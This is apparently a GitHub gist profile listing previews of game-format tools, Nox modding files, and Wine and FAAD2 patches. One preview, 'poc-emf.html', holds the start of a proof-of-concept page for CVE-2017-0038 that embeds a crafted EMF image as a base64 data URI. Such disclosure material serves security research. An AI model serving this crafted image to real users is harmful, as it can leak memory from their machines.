Skip to content

Instantly share code, notes, and snippets.

View awesie's full-sized avatar

Andrew Wesie awesie

  • Theori, Inc.
  • Austin, TX
View GitHub Profile
@awesie
awesie / nxz.py
Created November 20, 2013 03:34
Example decompression script for the Westwood NXZ file format.
#!/usr/bin/python
#
# Example decompression script for the NXZ file format
#
# Author:
# Andrew Wesie <awesie@gmail.com>
#
# Algorithm details:
# Huffman encoding + LZ77 (64K window)
# 274 symbols
@awesie
awesie / foobar.thm
Created August 20, 2016 12:15
Sample theme file for Nox
// By default, Nox wants this file to be encrypted. I was too lazy to worry about that, so instead apply this binary patch:
// GAME.EXE 0x11E337 0x01 -> 0xFF
//
// This file should be in your Nox directory as \mapgen\foobar.thm. The filename determines the map name. Keep under 8 chars.
//
AMBIENT_LIGHT 255 255 255
DECOR
ROOM foo
@awesie
awesie / kingdoms.ns
Created August 22, 2016 11:58
Nox Script sample from Kingdoms
// Translation of the script in Kingdoms
int RedBookcase1;
int RedBookcase2;
int RedPlate;
int BlueBookcase1;
int BlueBookcase2;
int BluePlate;
object RedWaypoint1a;
@awesie
awesie / poc-emf.html
Created March 3, 2017 04:56
Another example of CVE-2017-0038
<!doctype html>
<html>
<body>
<img src="data:image/x-emf;base64,AQAAAGwAAAAAAAAAAAAAAA8AAAAPAAAAAAAAAAAAAADoAwAA6AMAACBFTUYAAAEA9AQAAAMAAAABAAAAAAAAAAAAAAAAAAAAQAYAAIQDAAA0AgAAPgEAAAAAAAAAAAAAAAAAANycCAA82AQAUAAAAHQEAAAAAAAAAAAAAA8AAAAPAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAQAAAATAAAACgAAAB0AAAAAAQAAAAAAAAAAAAAEAAAACgAAAAgAAAAEAAAAAEAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV
From 1e0c9904c9b6aa1f9a98a8376555eb279cd7dd9d Mon Sep 17 00:00:00 2001
From: Andrew Wesie <awesie@gmail.com>
Date: Fri, 19 May 2017 00:04:48 -0500
Subject: [PATCH] Remaining flat interpolation patches.
Signed-off-by: Andrew Wesie <awesie@gmail.com>
---
dlls/wined3d/glsl_shader.c | 116 +++++++++++++++++++++++++++++++++++----------
1 file changed, 91 insertions(+), 25 deletions(-)
@awesie
awesie / unimod_v1.patch
Last active April 2, 2019 14:11
Port Nox patches to Unimod
From 9430904a47e10d603e4f0cca1a2900695bb2c25a Mon Sep 17 00:00:00 2001
From: Andrew Wesie <awesie@gmail.com>
Date: Mon, 1 Apr 2019 16:54:29 -0500
Subject: [PATCH] Port patches to UniMod.
---
util.cpp | 384 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
1 file changed, 384 insertions(+)
diff --git a/util.cpp b/util.cpp
@awesie
awesie / mdct.patch
Created January 19, 2020 20:12
Patch for faad_imdct in FAAD2 for GCC 9
diff --git a/libfaad/mdct.c b/libfaad/mdct.c
index 247691e..1545357 100644
--- a/libfaad/mdct.c
+++ b/libfaad/mdct.c
@@ -121,21 +121,18 @@ void faad_mdct_end(mdct_info *mdct)
void faad_imdct(mdct_info *mdct, real_t *X_in, real_t *X_out)
{
- uint16_t k;
-
@awesie
awesie / gcc-test1.c
Created January 25, 2020 16:39
Test for faad_imdct issue
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef unsigned short uint16_t;
float constdata[1024];
inline static void ComplexMult(float *y1, float *y2, float x1, float x2, float c1, float c2)
{
*y1 = (x1 * c1) + (x2 * c2);
@awesie
awesie / lol-patches.diff
Last active April 28, 2020 17:39
Includes patches for 47198 and 45667.
diff --git a/dlls/ntdll/signal_i386.c b/dlls/ntdll/signal_i386.c
index 67a785e..8e00d62 100644
--- a/dlls/ntdll/signal_i386.c
+++ b/dlls/ntdll/signal_i386.c
@@ -437,6 +437,8 @@ static wine_signal_handler handlers[256];
extern void DECLSPEC_NORETURN __wine_syscall_dispatcher( void );
extern NTSTATUS WINAPI __syscall_NtGetContextThread( HANDLE handle, CONTEXT *context );
+static int wine_cs;
+
@awesie
awesie / nxz-compress.py
Created July 28, 2021 18:03
NXZ with compression (not entire sure it works)
#!/usr/bin/python
#
# Example decompression script for the NXZ file format
#
# Author:
# Andrew Wesie <awesie@gmail.com>
#
# Algorithm details:
# Huffman encoding + LZ77 (64K window)
# 274 symbols